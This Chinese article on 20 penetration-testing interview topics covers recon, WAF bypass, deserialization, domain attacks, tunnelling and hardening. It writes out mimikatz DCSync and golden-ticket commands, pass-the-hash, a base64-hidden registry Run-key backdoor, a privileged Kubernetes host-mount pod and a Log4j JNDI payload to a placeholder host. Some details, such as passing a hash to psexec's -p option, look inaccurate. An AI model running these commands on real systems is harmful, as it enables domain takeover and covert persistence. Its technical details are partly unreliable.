想进大厂做渗透?20 个高频渗透面试题必须会!

华盟原创文章投稿奖励计划

渗透测试领域,“会用工具” 和 “精通技能” 的差距,直接决定了测试深度与职业竞争力。以下 20 个面试高频问题,均来自一线实战场景,既能帮你高效发现隐藏漏洞,也能成为简历中的 “硬核亮点”—— 关键是,每一个都经得起落地验证。

一、信息收集:不止于 “找域名”

信息收集是渗透测试的基石,高级工程师能从 “公开数据” 中挖出 “隐藏资产”,这 3 个技能是核心分水岭:

1. 证书透明度(CT)日志反查隐藏资产

核心价值:突破常规子域名爆破局限,发现企业未公开的测试环境、内部系统域名。

操作要点:通过 crt.sh、Google CT 等平台,输入企业邮箱后缀(如 @xxx.com)或根域名,筛选包含目标关键词的 SSL 证书;重点关注证书颁发时间在 3 个月内的记录,这类资产往往防护较弱;结合 whois 反查,确认证书绑定的 IP 是否属于目标网段。

注意:需排除第三方合作企业的无关证书,可通过证书主体中的 “Organization” 字段过滤。

2. 基于流量分析的存活主机探测

核心价值:在目标网段禁止 ICMP(ping 不通)时,精准定位存活主机,避免遗漏关键节点。

操作要点:使用 Nmap 的-sA(ACK 扫描)或-sS(半开放扫描),针对常见端口(如 80、443、3389、22)发送探测包;对返回 “端口开放” 或 “端口过滤” 的 IP,进一步用-p-全端口扫描;结合 Wireshark 抓包分析,识别目标网络的 TCP 指纹(如操作系统特征、防火墙规则),判断主机是否存活。

实战经验:对大型网段(如 192.168.0.0/16),可先用masscan快速扫常见端口,再用 Nmap 精细化验证,效率提升 50% 以上。

3. 暗网数据关联分析

核心价值:排查目标是否有员工账号、内部文档泄露,提前发现 “已被入侵” 的隐患。

操作要点:通过 Tor 网络访问暗网论坛、数据交易平台,用目标企业名称、域名、员工邮箱前缀作为关键词检索;重点关注 “社工库”“内部系统截图” 类信息;对发现的泄露账号,用 Hashcat 破解密码后,在目标系统中进行 “撞库” 验证(需提前获得授权)。

风险提示:访问暗网需遵守法律法规,仅可在授权范围内分析公开泄露数据,禁止主动获取未公开信息。

二、漏洞利用:从 “能利用” 到 “高效利用”

发现漏洞只是第一步,高级技能体现在 “绕过防护”“稳定利用” 上,这 5 个技能直接决定漏洞利用成功率:

4. WAF 绕过:基于 HTTP 协议特性的精准绕过

核心价值:突破常见 Web 应用防火墙(如阿里云 WAF、Cloudflare),实现漏洞验证与利用。

操作要点

  • • 协议层面:利用 HTTP/2 的多路复用特性,将 Payload 拆分到多个数据流中;或通过 “分块传输编码”(Transfer-Encoding: chunked)拆分 Payload,躲避关键词检测;
  • • 参数层面:对 SQL 注入 Payload,用 “注释嵌套”(如/*/*/union/*/*/select)、“大小写混合”(非大小写敏感 WAF 无效,仅针对规则不严谨的防护);
  • • 工具辅助:用 Burp Suite 的 WAF Bypass 插件(如 SQLiPy)生成变异 Payload,结合 Intruder 模块批量验证绕过效果。关键原则:不依赖 “通用绕过脚本”,需根据目标 WAF 的拦截日志(如返回 403 的 Payload 片段)定制策略。

5. 反序列化漏洞:跨语言利用与内存马注入

核心价值:解决 Java、Python、PHP 等不同语言反序列化漏洞的利用差异,实现稳定控制。

操作要点

  • • Java:利用 Commons Collections、Fastjson 等组件的 gadget 链,生成包含 “命令执行” 或 “内存马”(如 Tomcat 内存马)的序列化数据;若目标无合适 gadget,可尝试 “类加载” 攻击(如通过 ClassLoader 加载恶意 class 文件);
  • • Python:针对 pickle 模块漏洞,构造包含os.system()subprocess的 Payload,注意规避 “沙箱限制”(如目标禁用了 exec 函数,可改用__reduce__方法调用合法函数);
  • • 验证:发送 Payload 后,优先通过 “DNSlog”(如 ceye.io)确认命令执行成功,避免直接执行whoami导致被监控察觉。

6. 缓冲区溢出:DEP 与 ASLR 防护绕过

核心价值:在 Windows、Linux 系统的现代防护机制下,实现传统溢出漏洞的利用。

操作要点

  • • 绕过 DEP(数据执行保护):利用 “Return-Oriented Programming(ROP)” 技术,拼接内存中已有的合法指令片段(gadget),构造不包含可执行代码的 Payload;
  • • 绕过 ASLR(地址空间布局随机化):通过 “信息泄露漏洞”(如栈溢出泄露 libc 基地址)或 “爆破”(针对 ASLR 未完全开启的系统,如 Windows XP)获取关键地址;
  • • 实战工具:用 Metasploit 的msfvenom生成带 ROP 链的 Payload,结合pattern_create/pattern_offset定位溢出点,避免依赖 “现成 exp” 导致适配失败。

7. 移动端 APP:Frida Hook 绕过证书校验

核心价值:解决移动端 HTTPS 抓包时的 “证书锁定(SSL Pinning)” 问题,获取加密流量数据。

操作要点

  • • 环境准备:在手机(或模拟器)中安装 Frida-server,电脑端安装 Frida-tools;
  • • 脚本编写:针对 Android APP,用 Python 编写 Hook 脚本,挂钩SSLContextinit方法,替换系统证书为 Burp Suite 的 CA 证书;针对 iOS APP,挂钩NSURLSession的证书验证函数;
  • • 验证:启动 Hook 脚本(frida -U -f 包名 -l 脚本.js –no-pause)后,用 Burp Suite 抓包,确认能正常解析 HTTPS 请求。注意:部分加固 APP 会检测 Frida,需先脱壳(如 Android 用 Frida-dexdump,iOS 用 Clutch)。

8. 云原生漏洞:K8s API 未授权访问利用

核心价值:针对云环境(如 Kubernetes 集群),发现并利用核心组件漏洞,获取集群控制权。

操作要点

  • • 探测:通过nmap -p 6443,10250 目标IP扫描 K8s API Server(6443 端口)和 kubelet(10250 端口);用kubectl –server=https://目标IP:6443 get nodes测试是否未授权;
  • • 利用:若 API 未授权,通过kubectl create pod创建包含 “特权模式” 的 Pod,挂载宿主机根目录(-v /:/host),实现对宿主机的控制;或通过kubectl exec进入已有 Pod,进一步横向移动;
  • • 防护提示:在报告中需建议 “启用 API Server 认证(如 RBAC)”“限制 kubelet 端口访问来源”。

三、内网渗透:从 “单点突破” 到 “全网控制”

内网渗透是高级渗透测试的核心,这 6 个技能能帮你突破 “内网壁垒”,实现深度控制:

9. 域渗透:黄金票据(Golden Ticket)制作与利用

核心价值:在获取域内任意主机管理员权限后,跳过域控制器(DC)认证,直接获取域管理员权限。

操作要点

  • • 信息收集:在域内主机上,用mimikatz获取 “域名称”“SID”“KRBTGT 账户 NTLM 哈希”(命令:lsadump::dcsync /domain:xxx.com /user:krbtgt);
  • • 制作票据:用 mimikatz 生成黄金票据(命令:kerberos::golden /domain:xxx.com /sid:S-1-5-21-xxx /krbtgt:NTLM哈希 /user:任意用户名 /ticket:golden.kirbi);
  • • 注入使用:通过kerberos::ptt golden.kirbi注入票据,之后用dir \\DCIP\c$验证是否获得域控访问权限。风险:制作黄金票据需域内高权限,且会留下日志,需在测试后清理。

10. 横向移动:Pass-the-Hash(哈希传递)实战

核心价值:无需获取明文密码,利用已获取的 NTLM 哈希,登录域内其他主机。

操作要点

  • • 哈希获取:在已控制主机上,用mimikatzsekurlsa::logonpasswords)或LaZagne获取用户 NTLM 哈希;
  • • 传递工具:使用psexecpsexec \\目标IP -u 用户名 -p 哈希 cmd,注意哈希格式为LM:NTLM,无 LM 哈希则填aad3b435b51404eeaad3b435b51404ee:NTLM哈希);或用Cobalt Strikepth模块,图形化操作更便捷;
  • • 限制突破:若目标主机禁用了 Admin$ 共享,可尝试通过 “计划任务”(schtasks)或 “服务创建”(sc)执行命令。

11. 权限维持:内存马与注册表后门结合

核心价值:避免传统后门(如恶意 exe)被杀毒软件查杀,实现长期稳定控制。

操作要点

  • • 内存马注入:针对 Web 服务器(如 Tomcat),用Cobalt Striketomcat_memshell模块,或手动上传 JSP 内存马,注入到 Java 进程中,重启服务后失效(需配合持久化);
  • • 注册表后门:在目标主机上,通过reg add命令,在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加 “隐藏启动项”(如reg add “HKLM\…\Run” /v 隐藏名称 /t REG_SZ /d “cmd /c start 内存马加载命令”);
  • • 隐蔽性:启动项命令可通过 “base64 编码”(cmd /c powershell -enc 编码后的命令)规避日志检测。

12. 内网隧道:基于 HTTP/HTTPS 的端口转发

核心价值:解决内网主机无法直接访问外网的问题,将内网端口映射到公网,方便后续操作。

操作要点

  • • 工具选择:用frp(轻量)或EarthWorm(支持多协议);
  • • 服务端配置(公网 VPS):在 frp 服务端(frps.ini)中设置[common]部分(如bind_port = 7000),开启vhost_http_port(如 8080);
  • • 客户端配置(内网主机):在 frp 客户端(frpc.ini)中设置[http_proxy],将内网目标端口(如 192.168.1.100:3389)映射到公网(如remote_port = 8888);
  • • 验证:在公网通过mstsc /v VPS_IP:8888,即可远程登录内网 192.168.1.100 的 3389 端口。注意:隧道流量需加密(如 frp 启用tls_enable = true),避免被内网 IDS 检测。

13. 域内信息收集:BloodHound 图谱分析

核心价值:可视化展示域内用户、主机、权限的关联关系,快速找到 “权限提升路径”。

操作要点

  • • 数据采集:在域内主机上,运行SharpHound.exeSharpHound.exe -c All),收集域内信任关系、ACL 权限、会话信息等数据,生成 JSON 文件;
  • • 图谱分析:将 JSON 文件导入 BloodHound(需搭配 Neo4j 数据库),通过 “Find Shortest Path to Domain Admin” 功能,定位从当前用户到域管理员的最短权限路径;
  • • 实战案例:若图谱显示 “普通用户 A” 对 “主机 B” 有 “WriteOwner” 权限,可通过修改主机 B 的所有者为 A,再添加 A 的管理员权限,进而控制主机 B。

14. 工控设备渗透:SCADA 系统协议分析

核心价值:针对工业场景,发现工控设备(如 PLC、DCS)的安全漏洞,避免常规测试遗漏关键风险。

操作要点

  • • 协议识别:用 Wireshark 抓包,过滤常见工控协议(如 Modbus TCP、S7comm、DNP3),分析协议字段结构;
  • • 漏洞探测:使用metasploitauxiliary/scanner/scada模块,探测设备是否开启默认端口、默认账号(如 S7comm 设备默认密码 “12345”);
  • • 风险验证:对支持 Modbus 协议的 PLC,发送 “写寄存器” 命令(如修改输出寄存器值),验证设备是否缺乏权限控制;注意:工控设备渗透需提前与客户确认测试范围,禁止影响生产运行。

四、安全加固与应急响应:从 “发现漏洞” 到 “解决问题”

高级渗透测试工程师不仅会 “攻”,更会 “防”,这 3 个技能是体现综合能力的关键:

15. 漏洞成因分析与定制化加固方案

核心价值:避免给出 “通用加固建议”,针对具体漏洞场景,提供可落地的解决方案。

操作要点

  • • 成因定位:以 “SQL 注入” 为例,需明确是 “参数未过滤”“预编译未使用” 还是 “ORM 框架配置错误”(如 MyBatis 的${}而非 `#{});
  • • 加固方案:针对 “预编译未使用”,提供 “修改代码为 PreparedStatement” 的具体示例;针对 “第三方组件漏洞”(如 Log4j2),明确 “升级版本号”“临时禁用 JNDI 功能” 的操作步骤;
  • • 验证方法:给出加固后的验证方案(如用 Burp Suite 重新发送 Payload,确认漏洞已修复),避免客户 “加固后仍有风险”。

16. 应急响应:内存取证与恶意代码溯源

核心价值:在发生安全事件时,快速定位攻击源,还原攻击过程,避免证据被销毁。

操作要点

  • • 内存取证:使用Volatility工具,对目标主机内存镜像(如通过DumpIt获取)进行分析,通过pslist查看进程列表,malfind查找隐藏进程,yarascan匹配恶意代码特征;
  • • 日志分析:提取 Windows 安全日志(事件 ID 4688 – 进程创建、4625 – 登录失败)、Web 服务器日志(如 Nginx 的 access.log),关联时间线,定位攻击 IP、攻击时间、使用的 Payload;
  • • 溯源:对恶意代码,用IDA Pro反编译,分析字符串(如 C2 服务器地址)、加密算法(如是否使用 AES 加密通信),结合威胁情报平台(如微步在线)查询攻击 IP 的归属与历史行为。

17. 安全基线制定与合规性检查

核心价值:帮助客户建立长期安全体系,而非 “一次性测试”,体现持续服务能力。

操作要点

  • • 基线制定:参考等保 2.0、CIS 基准,结合客户业务场景(如金融、医疗),制定 “服务器安全基线”“网络设备基线”“应用安全基线”(如服务器基线包含 “密码复杂度”“防火墙规则”“日志留存时间”);
  • • 自动化检查:使用OpenSCAP(Linux)、组策略(Windows)或自定义 Python 脚本,批量检查目标资产是否符合基线要求,生成检查报告;
  • • 差距分析:对比检查结果与基线标准,标注 “高风险差距”(如未开启审计日志)、“中风险差距”(如密码有效期过长),并给出整改优先级。

五、工具开发与自动化:提升测试效率的 “利器”

手动测试效率低、易遗漏,高级工程师会通过工具开发实现 “自动化”,这 3 个技能是拉开差距的关键:

18. Python 自动化脚本开发:漏洞扫描与报告生成

核心价值:针对重复测试场景(如子域名漏洞扫描),编写脚本提升效率,避免机械操作。

操作要点

  • • 功能模块:以 “子域名漏洞扫描脚本” 为例,包含 “子域名获取”(调用 crt.sh API)、“存活检测”(requests 库发送 HEAD 请求)、“漏洞探测”(检测 SQL 注入、XSS)、“报告生成”(用 docx 库生成 Word 报告);
  • • 异常处理:添加 “超时重试”“代理切换”“验证码识别”(如对接打码平台)的逻辑,避免脚本因网络问题或验证码中断;
  • • 实战示例:脚本可批量检测 1000 个子域名,1 小时内完成存活判断与基础漏洞扫描,效率是手动测试的 10 倍以上。

19. PoC/Exp 开发:针对 0day 漏洞的验证工具

核心价值:在新漏洞(如 Log4j2、SpringCloud Gateway)爆发时,快速开发验证工具,帮助客户第一时间排查风险。

操作要点

  • • 漏洞分析:根据漏洞原理(如 Log4j2 的 JNDI 注入),确定触发漏洞的关键 Payload(如${jndi:ldap://xxx.com/exp});
  • • 工具开发:用 Python 编写 PoC,包含 “目标输入”“Payload 发送”“结果判断” 模块(如检测目标是否访问 LDAP 服务器,确认漏洞存在);
  • • 兼容性:考虑不同环境(如 JDK 版本、漏洞组件版本)的差异,在工具中添加 “环境检测” 功能,避免误报或漏报。

20. 自定义 Burp Suite 插件:强化测试能力

核心价值:扩展 Burp Suite 的默认功能,解决特定测试需求(如自定义 Payload 检测、日志分析)。

操作要点

  • • 开发框架:使用 Java 或 Python(通过 Jython)开发,基于 Burp Suite 的 API(如IBurpExtenderIHttpRequestResponse);
  • • 实战插件:以 “SQL 注入盲注检测插件” 为例,实现 “自动发送时间延迟 Payload”“检测响应时间差”“标记可疑请求” 的功能;
  • • 调试与部署:用 Burp Suite 的 “Extender” 模块加载插件,通过 “调试模式” 排查代码错误,最终导出为 Jar 包,方便团队共享使用。


文章来源:HACK之道

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容